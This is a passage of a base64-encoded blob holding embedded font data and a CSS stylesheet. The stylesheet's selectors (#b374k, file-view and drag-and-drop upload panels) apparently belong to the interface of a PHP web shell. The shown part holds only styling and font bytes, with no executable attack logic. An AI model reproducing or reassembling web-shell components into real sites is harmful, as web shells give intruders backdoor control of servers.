pR3crN2FCZFFjckhKMGJkQllXQ3B1UDhwckdYenR4dE5DR3ZZUmFJcm5VYmhkMmRoK3RDaC9mVVNYLzBQUXhKM085cXNySHpPdlpKZUp4MldvMWo2R2VtM2dndUt0a3FRUitwcjdEYVYzcFFVR0JPcE42bWZWdktTUk4wS1lZYVJ3dEJub0RhbTU0cGJIQlpjVkxncTRYQTNQZHlyaS9tVzZjR0pxUWxVSG5sL0M1MFFHM3pJY1NWbHJNZHhLcGlVeStsVmZVUWlzdlpJUlNKVG5JeFdMZGtYdys1NnBWaVJjWS9TOWpzc2FaSmZ6dFFqWmIrRjVZalM3dFNDNkdZbHpZMUUyZGpES3AzUGlBR1k2WXd4NkZEVmo5dDhGU2RrUVI3V21Ybnl1M3NzTFVvbTlQZUJQMXJ4OUhuemlIbW9GZmRpMllzV3RyTzhRVzlaYWdheTZ5b0tMTG94R0lxYkE0WW9MRmtWTW9qRTdXanpxWEYwZWR6c2d4Yy94NjhHbkpMZitreGRINTlqZGdjZlRqVjBLNCt5TTkrS080Y3RWYVNJenUrZkNQY09vdkxBNWV2UmJLU3VKSDd0M0l6Vi9nTVoyWGZOOTQyaWVYZW4yWHpLak1wVXRlckZ4TU1Nc01vb3FUOWJ6OS9kY3FGU2hqRVJoN2ZLZDdmSytLUHA5YzdXWFl4M2U4eDNldkdQUkx1VFJHR0ZuVTNNV2dRcTlmQnY2ZjhQMWY5TXY2SmkwckJqSE1OakcvakJtTGNHL0l1L0wzQVM5cEFGYVM4cHBYOHA3dThiNjZsdSszdlZocXczeVA5M2p2SmJ4MHRVYVlSV3VRTUROTVlSZG1rcjNKbjBIakFiWkZBWFhSMXp5bEE3TjRSNUVJNFVReXJ3VG9Bb04wTTFaZTg3Y0dBMUc1UnAwV3diOUhnQmJMdXdvaFNqdzR1a3p4UTI4T3VQSTRHOHBtRUxKdHg4eGs5T0xSMFBqUVVXbk14QllxNUoyQ2JRMGNVNUdxcUs3S2NnVkxWYTBDbThsZTJ6b1c4eDJEVERKUWtGMG5Na0tjSjRNR0pZRS9hcnRORHAzekZiYXFkdlZaQlRnUUNmdFF0WnZZbHc2aHFadmo3R2pGeDlEdW5YVDAyb0ZNVlIzYU9kM1kwakFQN0s1TVNlRzBmcCt4Vjg2WlRiM2pmUGhtYkUrYUU2T2lYYllLRFNmTzdNaTNmdTNXMXAyN1J5dHpPNnNISDhxSXBVMjU4b1NyNXRRUnNlNVdWaitSMUxoVTh0YXRtYkVCcXp5ems3WnI4RzhONW9icmc3a2hlS2VrWFJkMEZDYnZOTi9mcmwramJlVUd2MTNGZ25ta21JK2haVVlxQU9NR2ZDc0JuMWh3S1YvK0NyN1RQVDZRSllQVjJBYjVQVUg1K3VjdjFQVHphMXpCZHp6Z0MrYXZZQlZHR0ZtSnJNS2szaXFNZEJ0VXdsL0czdzNPaGF4NGlzS0VrbXc4bmtsSFJkWk9JSmFhVlJCanFjQkUvczNYd1JnM2IrVERmV2RWcVgxeEg2RS80anFwZkQ3bHVHc2hIbHo4bUZVcVdYYTVqRHRXdVd6WllGSEJBZ0FEZmczL0FEbW9STXJ5NlhPb0VUaXJOaWh5SlZqM1czQmJoRDZRRGZZcGRIam1BUVNpUW9pZHkwb2gwY0cxQVQ0a0lFRVVVMGZWRVFlaDh0SFFjSzZXSFFnTkZZNGxrZVB3RXJaRHNlVDFROGRpb2lERWx1bnBkZ3BCZ2pRbmFVUTFhVE9HK0Z0QVZmSUFybDRybnNjd0JxOWYzVlNxVVR4S0NGM2FWUFdrT1U1YmNLTmhwc0NiOTVxUndlR21sUUlIMy95VVBZalQwZGdacVdSTWJYa3ZHbnRaS2h1VG0wTno3dTRPdVBlV0prdnpPUklsSHI4SmRSSno2YmIrUDRYNG51dHlUZjJIQXIrSHRsWHE0MGZiMWMzOVl6Qyt0QXJqV2hRdDQwQXB2Z0Z2MEFheFpDVXBvd21NUGI3VHdOZmZCakZPOVRMczR6c09mUDF0aThIWUdpU01USXdNWnJGa2J3ejJmWmJvOSsvMXYxLzI4OVdMZWRjZytkSzJIZmd4dzVpbm96STY3T1dLUHM2alRJaENUZi9va21adE5aTlljekpuQW45VUp2RE5obnN2Q3llR0hFWFZyTWc5Z3VLWWkxZWNZOG95TDF3YjM1RVBQTFQ3VUNiV3cvbVVlLzdMUGNpSjZKb25laGI3NDlHYUQvUHV6Smd6dU5UTjNxamxHNDR6N0FRK3p2OFErREd6TzZYL0pZdjUrVnVuNmd1RGhxYXUvak4xYzBhWDYrVjRyMTd1bFlONlZJcGRVakZNckVIcU1SL1U0eHFXQWZYcnJIbkpoQXNIai9LaFI3QmhtTWtvT0pmK01ydU42cllDR01QWHlFOUtYSTFNOFIrdVFxVEFqMTBGUkVIbm9OU2w5L0IzS041NUNmM0tHWjBMenRXaitEZUtRaWNjMlo5T0xpUFpTTUhKYXlJTi84VWJBQmsxN1Q3STgxbzI2emo1U25oRksrY09wZE9XZTZpNEtYWElXa0NIalFYdXNFelZjdlJmZ0dCem9VOUozN2ZXN0lQOGFlTGUwYzBtS091REsvSkdxcDZXSnlkMG5SV04yQzBmK3RDdGZGYjZqNkM1ZnozRERCS003YW1mZlNpQzhiZkR6TVd2L2ZxenovNjdFRVBWK0JHRSttVHpLcHBHbTlDdm4wTUZmeTFaQ0JiTFR2RGpuRUJWQS9lZXg0UFZZb3duNzBNaFVaNGVWcGVNYk1vZGJUU2ttYU1waEZKYnhvOUttM01mMzdTcGxKdy9aaSszanlXV2EyUWVyVllqSldxOEFsT20vL1BiQVNKdEh3UnJ1MzhLTFV0NHZZVGRKNFFIc21BNFdINnZ5WWZCVmczK1M3MlpMTTdvYW5Nd1A1eVQ1ZXhJdmp3bWFTT1pRL2d6dkpGUGlsbHo5Yi9JdWhpT1NLWWlKOFZJVkRiL3Q2UGJHVmtTcXAzbTBPQTFOemNiTjIwWkdCd1pybjh2SXNYUzNRR2JrOHowOEl6cnpyZHltZVpzTGovWHp2N242V3UyQnY2V3Y4UncrRUhtTkFxalBWNHF6RkZFV28wUVN5VUUybERvUVBobndrd1lWaXdwdzFvS00vZmpSekNEUFJMSEhtSXh3N0RvU0Rqa1d3ekJXdGlHV0gxZkc2NDFHTGFFQ1Noczd4MHEzSFJUZ1RsOXBIcmRkVlhFb045aU1INC9jeFpzME1GK2tBZjdRZGhqaTdwQXc1UmlhajhJTVNSRXRKaHNzRmZaRC9aTmFsZFlqN3dmdHJuZ2FxeHRiakg3NnExV0hUYTJZQ1BMY2h5L0RuNkdLZUdQTVUrZ0ZCci9JOVhpbGNCeUpRbXgxRENhUnd3U3BWUXFFYmZDb3VoN2NSSDdGZCtMQzVZRFBTY3UrUEkxRnk3YUJmREhXRG1aVFloRjNsRkVLMUtITzgyL3N5UE13M3phVXFXdzVFZ214R1NJUVhtdVFkL0RwM0diMmwvaVB2dExtTTZ2d2ZldW5zQnR1aTVDaE8rSEFSL0xCSHhFNzZBU1B2ekRWWUd5d2JtbHhFTnlQL01sbEVBcFR3aExpSHRTNHA4S293VFlXaE00WWJMcnJFMVM1OGVla1JsMWJjRDdnME5MbStseXhXeHVIV1orT2NUSlZxTC8xRkthLzVQNGQvRnR6SitTL0cyUHArZWlva1Q0S1o1a2Y1RWNpdXFmaUpwWWZ5THFrLzJaRS9OVS9OMnJqMFNGdk1sNVNiZjl2NTI1dXY0Yk5qaHpsVUYxL01mNEs5U0d0WXFhWHRJdVBKbjJhMGhQODdtbndqYlNFMVh5UThENXB3M0dVcSsvQmJXbFhOaW93cUxyRS9CWFZEZVZqR1F5K1h5bXJsWVhXbitydW1tNGR3dVpRYmhuSGc1RkpVTmpxNVk5VUJ0S1R6UUxrYW1yVXVoWVAwaksrWitDY2c1Nk9pbW5ucWJWb2FOcXdnNC9sZU9obEJkSktjOURLUzlPdnJWeHRZK3ZUeGo4OFVVY3dlK1NBaVUxcG1aQ2dUTGp0SWpyVTVCZnhrdUg4VmZRSWFTaU1ocnhUTlBWbkNmZEtpczhpU0lWRFpYVlRPd3BrOTFMMFhGb01aVnZraktDczRSR1h4LytTU1V0VElxWHkvbXRkVlc1UFpvc3NsVlNwT3JsUWhwYWZ3cHRxd2ZSNytPaitDOVFndlFaRkpmRGEzMXJ2UjBhUHBvb2RuSnV1NWhJRk50dXJsTk00Sm5NYU5VMHE2T1o5R2pOQkRVWjVQYzRtc0EzNGo5RllUUjZEckdCNVFkTXJERFI0SENJbnNNVkNXUGZLK0Q4ZVhDY0M2eU1ZZUR3dlFBZWYyenFqanVtVmwvTnZmQ0NpekI2aHVUNVFacG4zcE1aNmx2SWhFT0l4U0hFa0Z3Z0U3RE1wRG1NMHgyV3Y0WFBQemJodnZCQ0RvVENBTGYxVzlTaXEraHBmWWZGNDc2VDRIdm9uZlNzZDNwMk8va0VnKzdCTmo1QzdRY1Q2TkE1cFBqWWF3cUlGdGZJWUpCc3dBbDdGaUVLeERnZHBsU1RFQ1VKTVFOaUpDMm1TUkJJc2h3OWdVTUdXQlJwV2tTV0RrVE9ZdFJuVTRTVnQ5b1gyMnFuZm9XalI3M1B0STBkcDJiSGVIZWpNZk9pVUIwWmRkajBsSEVmYy9CcjNmZTlieUE1TlRPVjNKN1pXdkQ5NzMrSS80cFpRUzEwd2hOS01JR1ZLTG9reUFIOUozdFJJSWY1Qk9pQ0pTa1NjVHNqSXpWYlRLeFUwRkRicmh3YVNBNG93NGVRaU9TQjNBQ3pDNTFHcnlCMkFBMGdOcGRMSHk0dVJxUHh3MncveURaWmF1L2JSdzBZS01IS045cHdiaWlJQ0ZSTUFqeVVQdXlrd0w4bjJva1dJN3FSeGlhSjlBSCtWYXBFTGlRR2JET1lPS0xmcXoyNHY5YXhGS09UMnVMRnZ5ejhHY1l2Q2MrSzIyWXFZNFltNzJoKzZLZWxMYk1ZeitMbjc3MDdIbHZrNGp2bVBkNFUrV1RjVzU0anpwK2NkdkJPTDU3a1JaUDM5emVEdHFGRjBGOGhoS0pvQ28vaXp3VjIvSFUwZzY1REI5QlBBVTd0blF1MWZkNXRuZkh4b2R2MmhWRDg3dTNsRzI5Y2R2VFo3Wkd3VEpBZlh6T3AvaHNQQnhFNHdmN3FuaFFPSm1Rdzd6SWxiR2J4K0J5R284R0pvaHN3ZnNHNG1TN0d4dHMwcUVhcWRDYU5tbU1tMlpJQ3BTVTV1OCtjdzhBOW5pUng4amdTalNUeDU3TGR4VnB0Y1RTYkhZV3dtMTM5UEMvTFBMbCtMeFlKUi9SNExFem9vNXFzcTFaWWt2aWlMbXM3c29Oc21kRWtXVkd3b0tXU21pTExpcFpNYVFKV0ZGblNtREk3YU1iMFNEZ2NpeE1hd1Qvcy93THloWkxNeDJVNXpzcy9GeVpmRUltRWpWZzg5SDQ5eDd0Q1FZOGxWTDdxdUh4dWZ5MkRqYklVanNhVmtKQ0xmakthRTBKS1BCb21DMG1jcWYxT0pCeVBHYVJ3SEo5QTBVdHZYZm9oazZCblp3NmdMbHBBTjZJUG9KOUdDUGZPaUF6R3dkNjV1c0U1WnY0WmtmMUgrdmNmUmoyK3p2V2syaWNuSmZyaVRHSXo4WGZQQ3E2aFd3c1QrV1pHY2d6WC9GSlVjUkxsWEtlUk1JNkFacUF5cUNWWEUxdm41N2ZDOVpXSTR1aTZvMFNqZmhqSkdxcXE2NnBxZkhidHpISDhrY1pFSWxOUTdDRkpIalJyVTNDK3BGMlRsSm9iVmNSWVNyUFR2SlI5a3Mra0pTM1BpZWxOTiszZGU5UE5lL2ZlYkRmenVwNXYyazREd2taYU5rMVpNYzNWRDYyZFlTNWRBbEN0MzJSZUJ2OVk2dCtSUUNaS29Sd3FvaXFxbzJIVVFlUFIwMTZ1QTY3WWJZdVFPa2ZJSUpBcXBGV0FGQU5rbHdJRmZTR1JQS1M2d0pTRnBITWtrb0drTk1XRFRGVlNZNm5GMUYycGo2Y2lzOUVVamtXY2lqUG1MRHAzT1I5M1NJcERVaExKUkNWeFZ5SVUwWkphUmJ0TEM4M0d3amdXd25NeGJHTW1obXpFTEVRck9GckcwUUtPNW5Fc2gyUHBoMkxiWXVZOUpoUFQ3OUdaaURRbTNTV3hFWEZNdkV0a1kvd2t6OFM0U1k2WmZhcDFxc1hjMHpyVWVyVEZ0cnk0dEJSdjRkYndrZEhwcGVGSGFzZHJ6RzIxRDllWWEydDRyb1pyWi9FUjc3cGFmZW1wMnFrYWMwL3RVTzNSR2x1RHo5UStFOXRXSzhHSEhpa2RMekczbFQ1Y1lxNHQ0V1pwcnNTSXBVeUp1VmpDVDVWT2xaaDdTb2RLajViWUV2MmlFaTRSSTZralhveDhMa3FjcmJwdHVCUEV4SkxacnJiSDIyeTdmbllWZVlsR2E2bFZ4MjRkNDdwYVo5NnRZMVJmWTFUcWJuMmt6dGFyaFBFbHdrZEM3NlhhRUFrSnd5VmdxTHJWa1NwYlRRc3VqckZ1WWRnNGJqQXhBMDhmTjU0eExobnNiUWIrdkhIQnVHaXdld3k4MDhBcEE1OHlQbXN3aHd6TUdaYkJ4STFZQWs4blpHRmV1RjlnWjNjSng0VlhoTzhMb2F5QWYxKzRJREFQQzNpbmdIa0JueEsrSlRDVHdqMEN3OEg5TUxlZkl6V01wNy9MNGVQY0t4eVQ1ZkFGRGovTTRaMGNQc1Y5aTJNNGJvSmplQTdlTWhOMWNNZXhrWG5BWkdhWHpTUG00K1lQek5BNzVyc204NGNtM20xaVlwcGtNbWRNdkdLK1lESlIwelNadUlua0VmbUF6TTRla1Q4anZ5MnpxcndnTSsvSStLRDhuTXlFNUMweTh3MXZUc2JQeS9ndUdVZmxjWm5oWlJRZmlUT3pqOGUvRUdmeWNmeHVIQitONC9mRjhYK040ek54dkJqSFpoekhVV2p5NzFuTVJoUTc1NytiYTVaeWhhSHVSQmRleFhScmV1a0RYZXgxbDd0TXZ0dnFNa29YNHk1K3AvdHVsL25EN2hlN1grK3l2OTc5N1M1enRJdnY2RDdZWmQ3WHhadTdHUDMvd0FXNWFaSzIxT2xpOGpHM3kzQmR6SFpKSjBGZTBzb3NuU204V3ZqckF2dENBUmR1N3VET20wTjQ2Q3oyUE1HdExPMFkyalBFek5BRTVLWE45Tktwb2M4T2ZXV0lIVHFpSkpadUhjTGJ5Q012TGk0TjVjNHk2SS9icE1DdFZtV1V4RjhhbVY0YVBZdS84TkxRTUlSSHZFNnh2blI0OUJPanpIMmplTzhvM2pHS1Iya2VKSVFXT1pvcTFvdlRSYmI0QmQxWkt0NDBnQWZxZXhwblY0KzhWS291a2ZBTEwyV0xKTHlFWG5JeUVIb3ZxVGFFUnp4UlZKYWlEYk5SYmJEeFJoWnE2a1ZTakN4WHduS3Bjb3RyZS9heWZjQStZajlyUjB3Ykl4dFBmOEYrMjJiK3dNWitLb3R0MWM3YkMzYm9IUnMvWjMvUlpqNXE0NE0ydnNQR0lidGtiN0haNSsxWDdiKzIvNXNkdXN2K3VNMXN0ZkdZamFNMjVtMDNncU1SUFBQTkNENFN3UitKNEhjaWVITUVQMDlUaGNnOTVtK2FER2ZpanBsVGhwVjU1UkVseENsNDVyVHlmWVg1TFFYdlVvNHJqS2hnNVN3KzRGMGEzTFpUMmF2OGxQSjd5dmVVTUsvZ3YxRHdLZVd6Q21NckE4bzlDa3MreUNzVXEzYmhiMWg4bkgyR1pTNnkrSjlZdkpQZHl6S2ZZL0VwRnNkWW0yVmsxalN3WWNSbGE5amFaZTIzN3JlT1c2ZXQ2UFFyMWxldDcxdnNpeGJlUmROWXljcGFUWXY5TmV2M3JmUFdCU3UwMC9vcDY3REY4bGJkWXI1dC9hUEYvS3AxeXZxS3hXNno3ckdZQ1FzUFdKaXpNRy9KVVR6M3QxSDgvMFh4UTFGOElZcDNSUEVwUUpERFF2UXVFVWRGM0JIbFBmNzJ4UUUxTkh0RWZWeDlWbjFiRFdGMVFXWGVVZDlWbWVkVXZGdTlRMlZDNmhhVnVWTjlYajJqdnVwTnFxR29hcXBWbGVWVmV2RFd3dHZNRHhqbWR4aTh6T0FGQnY4aGczK2J3WWcrd2dlWW4ySEkzMmtPYzNIaTgzTCtZSnNjMy83QS9nY2VPRWoraVAvL2JjVHdsL3hCZlA0OHVmRVRlcy9nNzRFMVpqakNyUU9Kd1FjZ0RqZDEvL0crZForbmNjb0Fmd0VQL1paMm5UenlOZFhueWMwRGJZSzRCVHdrQVVUaWVxZStieDlOcWo5QW5wTjRlejhjTzErSG9nZTV3VjhkSzIrUWhWVDlMVUlPdm5hKzNlNlZGZ3EvL2dZK1J1SktyNVQ5eFlTN2dQWEtlOEsvbnlTMW9iaUU3SWZQUUVRNXZ3OEN3dWdYcFYySE1rTzA3YWUzUmxCUWYzVS94Q1FJL2dmL3J0eHlJdUlqU3k3Y3pSdHd3YjBSaE95UGVjWWN6bVF5cTZmeDZPcHI1RHFkb2VUcGREcE4wcnFyZjBHdUZ6TSt1UThQcm41ejlXV2dETkZ2WHZ4UUprakxrUXorQ2lKNDUwOWtRZWovQVBkY0hKVUFBSGdCWTJCa0FJSXpaNklNK08vRjg5dDhaWkJuZmdFU09iVzZoQTlHLzQvK0g4WTBrOWtPeU9WZ1lBS0pBZ0NNalEwOUFBQjRBV05nWkdCZ3R2c2ZCaVJmL0kvK0g4MDBFeWlDQ2xnQWo4MEYxd0FBQUhnQlRjOHhTd0poSE1meGI3VGs0SkRSSUdaV1hIVVdQaWpCSTlsd0llckQwZERVY0p4dklGcXl3YVVNM0lVYWNvc2EydHB1cUpmUjFOemNDMmkzMy9BZzh1SDc1M2UzUFV0L2JDLy9na0liUGhoVHdsS2d3aGNET2NZd1pVSkdWK3RNM3ljRXRMRkVIRW5HaUFaRzlRbkpZVEVxRlVPTlJQdFVlNHNtWldMVmxIM3E1UFd2cUd0NW9NZVFrQlhlYU9Gb0VFcWtIRmJwVXRVTlVWelJKcUxESm11VUNZZzU1MXQzRi9pa1FZMDk4dnJUWWNBT1F5S3FUTFJ1R1dHNDQ1NTNIQnRrUEdzblhGQmdsWFg2NUJhVU1LUmU0aFhRRytaNnF1N2xpWEcwRmxUOEt3VHJOWEdFYzBaMXZBQ25MQ1VxakhuaG1pNHc1VWtPT1pBYkhubWx5Q1dCYm12Mk0wdi9BUzlaUGRvQUFBQUFLZ0FxQUNvQUtnQm1BSklCR0FHK0FrWURNQU5VQTdRRUFnUm1CSXdFdkFUUUJPNEZEZ1hLQmdvR2xBZFdCN0lJUkFqc0NSb0tBZ3FZQ3E0S3Vnc0VDeW9MZGd2d0RLWU5RQTNPRGx3T3JnN2VEd29QbEEvRUQvQVFPQkNRRUxBUldoR2dFaDRTZEJNWUU0Z1VQQlJlRkt3VThoWUdGbVFXcWhibUZ3UVhJaGRBRjNRWGlCZWlHQ1FZbUJqc0dWSVo3aHBDR3VZYk9odU9HOXdjTmh4K0hOd2RMQjJvSGhnZWlCNjBIMklmc0IvK0lGb2hQaUdlSWxZaWxpTUdJeDRqamlQbUkrWWtJQ1NHSk80bFdDWEFKZUltOGljcUtBd29qQ2pFS053bzVDb0FLaFFxWWlxV0t6b3I5aXdRTEZvc2ppeVlMT0F0RWkxZ0xaWXQvaTZpTDRRd0FqQVlNQzR3UkRCYU1INHhFakZzTWxveWNqS0lNcUF5dWpMUU11WXkvRE1ZTTRBemxqT3NNOEl6MkRQdU5BZzBPRFUyTlU0MVpEVjZOWlExcWpZUU53STNGamNxTno0M1VqZHFONEE0U0RqZ09QWTVDamtlT1RZNVREbGlPWGc1a2pwTU9tSTZkanFLT3A0NnNqcktPd283b2p1NE84dzc0RHY0UEF3OGhEeWNQTlE5VGozMlBqUStlRDdBUHRRKzZEOFlQMFkvZGovS1FCeEFia0NXUU1CQTRrRUFRVjVCOEVINFFyaERVRWVRQUFBQUFRQUFBTm9BYmdBT0FFMEFCQUFDQUJBQUx3QlpBQUFGcHdldkFBSUFBWGdCTE1ZL1NnTlJGTVhoMzduM0paUGhEZmt6eUNCVEJJc3N3UVdrZFF2aUd1d3NCY0VkaUM3QTJpWFlpcmlLVkZZV1ZtSmg1VURPVjMzQVZ0ZUlvd3NlZlZINTlZTkd2WitjNmNvdlZEMzVNenE5K25ONmZmc04rN2ozRjZ6aTAyOVo1WWxmR2ZQUzc2YS8rR3RxSHZ3TlRmNzVQYldNSkNvdDhBQytHRGo0d1ZMaEozdU5mbUhRclQvalZNLytuSjArL0lhN2tMOWdHMjkrTy8zSHI1em56dSttMy9ocmhuejNOeXp6eSs4WlN2RGZLaFd0Umc3RHdQa1UvVUNkYko5S1gvZm8wKzdMUWZ2dXhxb1RtdGlMbzdEMDcyOXdkeUVFd3QxQkVZaVJSNXFKaUk3SXVPQUxCUU1pZWhnRWoyaHhZQWhaajhTT1JMWWpIaUU0d1JEZ2lJanJ1NUtmbVFNRUMzRWdMc1NHbmtqd2l2ZjZic3lDRitTS1Y5TTFDeDBkblhITWw2OHl4Tjdrc1QwYzVPaFRUa1BuUnpsWmNDS25vZE0wYTVBbEJTMWl2Y3JyKzVKc2taZWM3SnZ1VkE2dXhjYjVYSjB6Y09zLzU4VGlOeFNSL0FpUHdsTGpNdnF5Tnl1YmZzRmIzWGJHVURzRUxSeWVtTmN1Y2xPVk55M3prSk8wN3VuZlBtOWZmbC9xTHZTdzNlMWJtTHI1WVdkTlR4UjJmandsb0pDYUk5OW5HQkdyT21GRW5rZ3gxYzVQOG9LTWo3K2MwWDFibjhMcVYvdWlValFPczJuUklGWjgwTW1YejFueXgrWWlnRjlWMHFxQjRBelBpSGNMMG42MG5PVHNmUlFPL0g5L0QyTmM4SXlHY2EzaEVGWXEwMDNEb1VObTFYREk3UExjTk5mcjFZVXFPRkhQZFhscWZsN3d4Kzk4TS9zSDRxZ0xIM2dCWE1GRFlnTUJBQURBMmEydHJXM2J0dDNHL2t3K21jOGs5OHdJZ1dwWmhFQzlDZ0toQm8yYU5HdlJxazI3RHAyNmRPdlJxMCsvQVpGQlE0YU5HRFZtM0lSSlU2Yk5tRFZuM29KRlM1YXRXTFZtM1laTlc3YnQyTFZuMzRGRFI0NmRPSFhtM0lWTFY2N2R1SFhuM29OSFQ1NjllUFhtM1lkUFg3NzkrUFhuWDB4Y1FsSktXa1pXVGw1QlVhbEdFRnowQWdBR0FBQjluL3lkdXJ1YmFjYVlqUk5URnphZE0zSEFkRTNiT092cHMvZkVoUWdqR2pSYTArdFJrMDd0K28wWkRaSGEzS25YNDh1M0RuMWFiSHJ3YWNDNFh6LytESnV3Wjhla2VBbTZKRHFRWk5lK0U0ZU9ISHVTN055cE0xTlNmT2gyNWNLbFZDL2V0RXFYSmtPV1ROa0c1Y2lUSzErQklvV0tsWGhXcWx5WkNsVXFMUnRTbzFxdE9xL2VyYmcyYmNhTmU3ZG16Vm0wWk11OEJkdWFyZHV3R3FKQ2RJZ0pzZUYvSEl5YzdLVjVtUVlHamdaUTJvVW5MYiswcUxpMElMVW9NNytJeGJXMEtCOGtZMlJrYUFxaVhRM2MzTUMwbTVzTGlIWXpNREFBQUZIRWNydDRBVFdNejByelFCVEZaNzd3RlJkRlJhR0lFSUtLbTJiVFI0Z2RETEZCYUp0ZWJScGpPMnJVZllvWUVLcVdTdjNUTm9vaUtLTFFCK2dVTjhHTnZvR3Y0TTdIMEZ0cUw1ZDd6cHpmWWJUeDUyNnYrMDk3bXAzVEg0T2tFdjE4YVBHSCtKUitIeGpLblQ4TUNyY1kzUGpUeXJWdktCMXN0UkZlSWJ6RTl3bnFSVDJwbko4WlNoTlpBMWtkdTZlWTE1QWZvaDVoM2d2ZWc4OUEwZ0psUVQvQTdJMVN3aWpSNW1HZjdjRXU4MkNIY2RobUZkaGlaZGhrTG13d0Iwck1CaEZoTFVNblBOeWExL0drRktlVFBNVXJQT1NDZi9GWXIweUpTMU51eFExZHFjaldZSjBCV09FcTVFTVRjbUVHc3VFSzZFNGFscDBsS0ZqNDNXdUMvcWNSRGMxSStzNmJZaXpyQ05vVWk5Ymdhcm1TaURVRmdaSlQ3RlBhdGh1dEZrbkxwcEN0b25pUmJWTVlhTFNCT1VaRDVINkNwRzFWSmVyZitGVWZ0K3FybzZISS9JR01TdWpRNEVVZDh1ck1MekpaZTBjQSkgZm9ybWF0KCd3b2ZmJyk7CmZvbnQtd2VpZ2h0OiBub3JtYWw7CmZvbnQtc3R5bGU6IG5vcm1hbDt9KnsKZm9udC1mYW1pbHk6dWJ1bnR1bW9ubzsKbWFyZ2luOjA7CnBhZGRpbmc6MDsKYm9yZGVyOjA7Ci13ZWJraXQtYm94LXNpemluZzpib3JkZXItYm94OwotbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDsKYm94LXNpemluZzpib3JkZXItYm94Owpmb250LXNpemU6MTJweDsKZm9udC13ZWlnaHQ6bm9ybWFsO31pbnB1dDpmb2N1cywgc2VsZWN0OmZvY3VzLCB0ZXh0YXJlYTpmb2N1cywgYnV0dG9uOmZvY3VzewpvdXRsaW5lOm5vbmU7fWh0bWwsIGJvZHl7CndpZHRoOjEwMCU7CmhlaWdodDoxMDAlOwpjb2xvcjojMjIyMjIyO31ib2R5ewpiYWNrZ3JvdW5kOiNmMGYwZjA7CmxpbmUtaGVpZ2h0OjE3cHg7fWF7CnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjojMDAwMDAwO31hOmhvdmVyewpjdXJzb3I6cG9pbnRlcjt9cHsKcGFkZGluZzo4cHggMDt9aW1newp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fXRhYmxlewp3aWR0aDoxMDAlO310YWJsZSB0ZCwgdGFibGUgdGh7CnZlcnRpY2FsLWFsaWduOm1pZGRsZTsKcGFkZGluZzo4cHg7fXRleHRhcmVhLCBpbnB1dCwgc2VsZWN0ewpiYWNrZ3JvdW5kOiNmZmZmZmY7CnBhZGRpbmc6OHB4Owpib3JkZXItcmFkaXVzOjhweDsKY29sb3I6IzExMTExMTsKYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkO310ZXh0YXJlYXsKcmVzaXplOnZlcnRpY2FsOwp3aWR0aDoxMDAlOwpoZWlnaHQ6MzAwcHg7Cm1pbi1oZWlnaHQ6MzAwcHg7Cm1heC13aWR0aDoxMDAlOwptaW4td2lkdGg6MTAwJTt9aHJ7Cm1hcmdpbjo4cHggMDsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7fXZpZGVvewp3aWR0aDoxMDAlOwpiYWNrZ3JvdW5kOiMyMjIyMjI7CmJvcmRlci1yYWRpdXM6OHB4O31oMSwgaDJ7CmJhY2tncm91bmQ6I0U3RTdFNzsKYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjY2NjY2M7CmNvbG9yOiMwMDAwMDA7CmJvcmRlci1yYWRpdXM6OHB4Owp0ZXh0LWFsaWduOmNlbnRlcjsKY3Vyc29yOnBvaW50ZXI7CnBhZGRpbmc6OHB4OwptYXJnaW4tYm90dG9tOjhweDt9aDEgYSwgaDIgYXsKY29sb3I6IzAwMDAwMDt9cHJlLCAjdmlld0ZpbGVjb250ZW50ewp3b3JkLWJyZWFrOmJyZWFrLWFsbDsKd29yZC13cmFwOmJyZWFrLXdvcmQ7fXByZXsKd2hpdGUtc3BhY2U6cHJlLXdyYXA7fSNiMzc0a3sKY3Vyc29yOnBvaW50ZXI7fSNoZWFkZXJ7CndpZHRoOjEwMCU7CnBvc2l0aW9uOmZpeGVkO30jaGVhZGVyTmF2ewpwYWRkaW5nOjEwcHggOHB4IDZweCA4cHg7CmJhY2tncm91bmQ6IzMzMzMzMzt9I2hlYWRlck5hdiBpbWd7Cm1hcmdpbjowIDRweDt9I2hlYWRlck5hdiBhewpjb2xvcjojZWZlZmVmO30jbWVudXsKYmFja2dyb3VuZDojN0M5NEE4OwpoZWlnaHQ6MzNweDsKYm9yZGVyLWJvdHRvbTozcHggc29saWQgI0NDQ0ZEMTt9I21lbnUgLm1lbnVpdGVtewpwYWRkaW5nOjdweCAxMnB4IDZweCAxMnB4OwpmbG9hdDpsZWZ0OwpoZWlnaHQ6MzBweDsKYmFja2dyb3VuZDojN0M5NEE4Owpjb2xvcjojZmZmZmZmOwpjdXJzb3I6cG9pbnRlcjt9I21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKYmFja2dyb3VuZDojNzY4OTk5Owpjb2xvcjojZmZmZmZmO30jbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKYmFja2dyb3VuZDojNzY4OTk5O30jYmFzaWNJbmZvewp3aWR0aDoxMDAlOwpwYWRkaW5nOjhweDsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7fSNjb250ZW50ewpiYWNrZ3JvdW5kOiNmMGYwZjA7CmhlaWdodDoxMDAlOwpwYWRkaW5nOjY2cHggOHB4IDhweCA4cHg7fSNjb250ZW50IC5tZW51Y29udGVudHsKYmFja2dyb3VuZDojZjBmMGYwOwpjbGVhcjpib3RoOwpkaXNwbGF5Om5vbmU7CnBhZGRpbmc6OHB4OwpvdmVyZmxvdy14OmF1dG87Cm92ZXJmbG93LXk6aGlkZGVuO30jb3ZlcmxheXsKcG9zaXRpb246Zml4ZWQ7CnRvcDowcHg7CmxlZnQ6MHB4Owp3aWR0aDoxMDAlOwpoZWlnaHQ6MTAwJTsKZGlzcGxheTpub25lO30jbG9hZGluZ3sKd2lkdGg6NjRweDsKaGVpZ2h0OjY0cHg7CmJhY2tncm91bmQ6IzdDOTRBODsKYm9yZGVyLXJhZGl1czozMnB4IDAgMzJweCAwOwptYXJnaW46YXV0bzsKdmVydGljYWwtYWxpZ246bWlkZGxlO30jdWxEcmFnTkRyb3B7CnBhZGRpbmc6MzJweCAwOwp0ZXh0LWFsaWduOmNlbnRlcjsKYmFja2dyb3VuZDojN0M5NEE4Owpib3JkZXItcmFkaXVzOjhweDsKY2